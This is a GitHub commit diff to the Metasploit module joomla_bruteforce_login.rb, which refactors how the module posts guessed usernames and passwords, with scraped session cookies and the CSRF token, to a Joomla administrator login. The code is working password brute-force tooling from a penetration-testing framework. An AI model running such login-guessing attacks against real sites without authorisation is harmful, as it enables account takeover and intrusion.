Skip to content

Commit 22f41e4

Browse files
committed
Use vars_post
1 parent 92fd3bc commit 22f41e4

File tree

1 file changed

+30
-34
lines changed

1 file changed

+30
-34
lines changed

modules/auxiliary/scanner/http/joomla_bruteforce_login.rb

Lines changed: 30 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,7 @@ def initialize
3838
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against" , "/administrator"]),
3939
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
4040
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
41-
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
42-
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
41+
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"])
4342
], self.class)
4443

4544
register_autofilter_ports([80, 443])
@@ -88,7 +87,7 @@ def target_url
8887
end
8988

9089
def run_host(ip)
91-
vprint_error("#{rhost}:#{rport} - Searching Joomla authentication URI...")
90+
vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")
9291
@uri = find_auth_uri
9392

9493
if !@uri
@@ -126,7 +125,6 @@ def do_web_login(user, pass)
126125
pass_var = datastore['PASS_VARIABLE']
127126

128127
referer_var = "http://#{rhost}/administrator/index.php"
129-
ctype = 'application/x-www-form-urlencoded'
130128

131129
uid, cval, hidden_value = get_login_cookie
132130

@@ -136,45 +134,43 @@ def do_web_login(user, pass)
136134

137135
uid.each do |val_uid|
138136
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[index_cookie].strip};"
139-
index_cookie = index_cookie +1
137+
index_cookie = index_cookie + 1
140138
end
141139

142140
value_cookie = value_cookie
143-
vprint_status("Target #{target_url},Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
144-
145-
data = "#{user_var}=#{user}&" \
146-
"#{pass_var}=#{pass}&" \
147-
"lang=&" \
148-
"option=com_login&" \
149-
"task=login&" \
150-
"return=aW5kZXgucGhw&" \
151-
"#{hidden_value}=1"
152-
141+
vprint_status("#{target_url} - Login with cookie ( #{value_cookie} ) and Hidden ( #{hidden_value}=1 )")
153142
response = send_request_cgi({
154-
'uri' => @uri,
155-
'method' => datastore['REQUEST_TYPE'],
156-
'cookie' => "#{value_cookie}",
157-
'data' => data,
143+
'uri' => @uri,
144+
'method' => 'POST',
145+
'cookie' => "#{value_cookie}",
158146
'headers' =>
159147
{
160-
'Content-Type' => ctype,
161-
'Referer' => referer_var,
162-
'User-Agent' => datastore['UserAgent'],
163-
}
148+
'Referer' => referer_var
149+
},
150+
'vars_post' => {
151+
user_var => user,
152+
pass_var => pass,
153+
'lang' => '',
154+
'option' => 'com_login',
155+
'task' => 'login',
156+
'return' => 'aW5kZXgucGhw',
157+
hidden_value => 1
158+
}
164159
})
165160

166-
vprint_status("#{target_url} -> First Response Code : #{response.code}")
167-
168-
if (response.code == 301 || response.code == 302 || response.code == 303) && response.headers['Location']
161+
if response
162+
vprint_status("#{target_url} - Login Response #{response.code}")
169163

170-
path = response.headers['Location']
171-
print_status("Following redirect Response: #{path}")
164+
if response.redirect? && response.headers['Location']
165+
path = response.headers['Location']
166+
vprint_status("#{target_url} - Following redirect to #{path}...")
172167

173-
response = send_request_raw({
174-
'uri' => path,
175-
'method' => 'GET',
176-
'cookie' => "#{value_cookie}"
177-
})
168+
response = send_request_raw({
169+
'uri' => path,
170+
'method' => 'GET',
171+
'cookie' => "#{value_cookie}"
172+
})
173+
end
178174
end
179175

180176
return response
@@ -184,7 +180,7 @@ def do_web_login(user, pass)
184180
end
185181
rescue ::Rex::ConnectionError
186182
vprint_error("#{target_url} - Failed to connect to the web server")
187-
return nil
183+
return nil
188184
end
189185
end
190186

0 commit comments

Comments
 (0)